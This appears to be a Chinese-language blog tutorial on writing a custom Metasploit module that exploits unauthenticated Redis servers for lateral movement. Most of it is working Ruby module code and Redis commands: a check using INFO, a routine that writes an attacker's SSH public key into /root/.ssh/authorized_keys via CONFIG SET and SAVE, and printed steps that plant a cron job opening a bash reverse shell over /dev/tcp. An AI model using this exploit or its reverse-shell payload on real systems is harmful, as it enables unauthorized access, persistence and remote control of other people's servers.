打造定制化的Metasploit—Redis未授权

君子藏器于身待时而动,安全不露圭角覆盂之安。

——AnonySec

https://payloads.cn

项目地址:Metasploit Modules

前言

Redis未授权漏洞,是内网横向移动的手法之一,常见的利用方式为SSH公钥写入Cron计划任务反弹shell。但每次都手动命令执行,绝对影响效率,所以本文将该利用方式转化为Metasploit模块进行检测与利用。

未授权检测

检测目标Redis是否存在未授权漏洞,通常是redis-cli -h ip后,输入info检测目标是否有回显信息。

b9f7babdd778c756a7771192df08f644

编写Metasploit模块,需要载入Redis扫描类。

1
include Msf::Auxiliary::Redis

定义检测方法,进行INFO命令执行,并输出数据回显。

1
2
3
4
def check
info_data = redis_command('INFO')
print_good ("#{info_data}")
end

可以看到,第一步已经实现。

f4b68a048ef45e74a0c571563477db81

但此处需要做个判断,如果INFO命令执行后,数据回显中包含redis_version,再继续执行。否则,结束。

1
2
3
4
5
6
if (info_data = redis_command('INFO')) && /redis_version:(?<redis_version>\S+)/ =~ info_data
print_warning ('The Redis is unauthorized')
else
print_error ('The Redis is not unauthorized')
return
end
4331145753a4c4abc0c605766e248526

SSH公钥写入

这是手动执行的命令,需要写入ssh公钥文件内容,才能获取目标系统权限。

1
2
3
4
127.0.0.1:6379> config set dir /root/.ssh/
127.0.0.1:6379> config set dbfilename authorized_keys
127.0.0.1:6379> set x "\n\n\nssh-rsa xxxxxx root@kali\n\n\n"
127.0.0.1:6379> save

如果每次进行ssh公钥查看,再copy,属实麻烦。所以在模块头部添加文件选项。

1
2
3
4
5
register_options(
[
Opt::RPORT(6379),
OptPath.new('SSHPUB', [ true, 'The SSH public key location (absolute path)', '/root/.ssh/id_rsa.pub' ])
]

738a5f6157089d04bdac91ae63a40166

定义ssh公钥写入方法,其中authorized_key参数为ssh公钥文件,读取后写入。

1
2
3
4
5
6
7
8
def sshpub
redis_command('CONFIG', 'SET', 'dir', '/root/.ssh/')
redis_command('CONFIG', 'SET', 'dbfilename', 'authorized_keys')
authorized_key = "\n\n\n" + File.read("#{datastore['SSHPUB']}") + "\n\n\n"
redis_command('SET', 'x', authorized_key)
redis_command('SAVE')
print_good ('SSH public key was written successfully')
end

c691e22ab72b932f8925bf32e9643244

Cron计划任务反弹

如果目标机中没有/root/.ssh/目录,还有可以使用计划任务反弹Shell。因为是反向连接,所以在目标网中需要找另一台可通讯主机进行NC监听,故提示反弹命令。

1
2
3
4
5
6
7
(info_data = redis_command('CONFIG', 'SET', 'dir', '/var/spool/cron/')) && /OK/ =~ info_data
print_line ("<----------------Please use the Cron GetShell---------------->")
print_line ("set xx '\\n* * * * * bash -i >& /dev/tcp/IP/PORT 0>&1\\n'")
print_line ("config set dir /var/spool/cron/")
print_line ("config set dbfilename root")
print_line ("save")
print_line ("<------------------------------------------------------------->")

9b3523f058ac1d1099361c95d7ef1e1e

完整模块运行Demo:

e429a4d24b27dc34af6881bc5ef042da

References